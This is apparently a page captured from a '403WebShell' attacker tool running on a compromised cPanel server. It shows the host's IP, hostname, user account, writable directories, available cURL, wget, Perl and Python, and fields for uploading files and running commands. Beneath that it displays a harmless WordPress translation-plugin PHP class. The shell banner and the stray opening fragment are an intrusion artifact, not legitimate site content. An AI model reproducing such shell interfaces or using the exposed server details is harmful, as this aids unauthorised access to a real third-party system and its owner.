$plugin = <<403WebShell
403Webshell
Server IP : 193.224.177.188  /  Your IP : 216.73.216.209
Web Server : Apache
System : Linux cpanel.krtk.mta.hu 3.10.0-962.3.2.lve1.5.89.el7.x86_64 #1 SMP Thu Jul 9 15:55:31 UTC 2026 x86_64
User : krtkhu ( 1061)
PHP Version : 8.4.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Translate/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home2/krtkhu/public_html/wp-content/plugins/hellopack-client/includes/Translate/FileMatcher.php
<?php
/**
 * File Matcher class.
 *
 * @package HelloPack\Client
 */

declare( strict_types=1 );

namespace HelloPack\Client\Translate;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}

/**
 * Matches remote file paths to local WordPress language directory paths.
 */
final class FileMatcher {

	/**
	 * Tone for translations.
	 */
	private const TONE = 'formal';

	/**
	 * Locale for translations.
	 */
	private const LOCALE = 'hu_HU';

	/**
	 * Get remote paths for a plugin/theme translation.
	 *
	 * @param string $slug Plugin or theme slug.
	 * @param string $type Type: 'plugin' or 'theme'.
	 * @return array<string> Remote file paths in the repository.
	 */
	public static function get_remote_paths( string $slug, string $type ): array {
		$dir    = 'theme' === $type ? 'themes' : 'plugins';
		$prefix = self::TONE . '/' . $dir . '/' . self::LOCALE . '/' . $slug . '/';

		$extensions = array( '.mo', '.po', '.l10n.php' );
		$paths      = array();

		foreach ( $extensions as $ext ) {
			$paths[] = $prefix . $slug . '-' . self::LOCALE . $ext;
		}

		// JSON files may have different naming (e.g. with md5 hash).
		// We'll handle these from the tree data directly.

		return $paths;
	}

	/**
	 * Get remote paths from cached tree data for a slug.
	 *
	 * @param string                            $slug Plugin or theme slug.
	 * @param string                            $type Type: 'plugin' or 'theme'.
	 * @param array<int, array<string, string>> $tree Full tree data.
	 * @return array<string> Matching remote file paths.
	 */
	public static function get_remote_paths_from_tree( string $slug, string $type, array $tree ): array {
		$dir    = 'theme' === $type ? 'themes' : 'plugins';
		$prefix = self::TONE . '/' . $dir . '/' . self::LOCALE . '/' . $slug . '/';
		$paths  = array();

		// We accept every blob under the slug prefix without an extension
		// allow-list ON PURPOSE: the translation repo is a fully first-party,
		// HelloPack-controlled source (see GitHubClient trust-model note) where
		// only vetted .mo/.po/.json/.l10n.php files ever land. If the source is
		// ever opened to third-party content, add a basename allow-list here and
		// realpath containment in FileInstaller before trusting these paths.
		foreach ( $tree as $entry ) {
			if ( 'blob' !== ( $entry['type'] ?? '' ) ) {
				continue;
			}

			$path = $entry['path'] ?? '';

			if ( str_starts_with( $path, $prefix ) ) {
				$paths[] = $path;
			}
		}

		return $paths;
	}

	/**
	 * Convert a remote path to a local WordPress language directory path.
	 *
	 * @param string $remote_path Remote file path in the repository.
	 * @return string Local file path under WP_LANG_DIR.
	 */
	public static function remote_to_local( string $remote_path ): string {
		// Path format: formal/plugins/hu_HU/slug/filename.
		$parts = explode( '/', $remote_path );

		if ( count( $parts ) < 5 ) {
			return '';
		}

		// Parts array: tone, type_dir, locale, slug, filename.
		$type_dir = $parts[1];
		// Type dir is either "plugins" or "themes".
		$filename = end( $parts );

		return WP_LANG_DIR . '/' . $type_dir . '/' . $filename;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit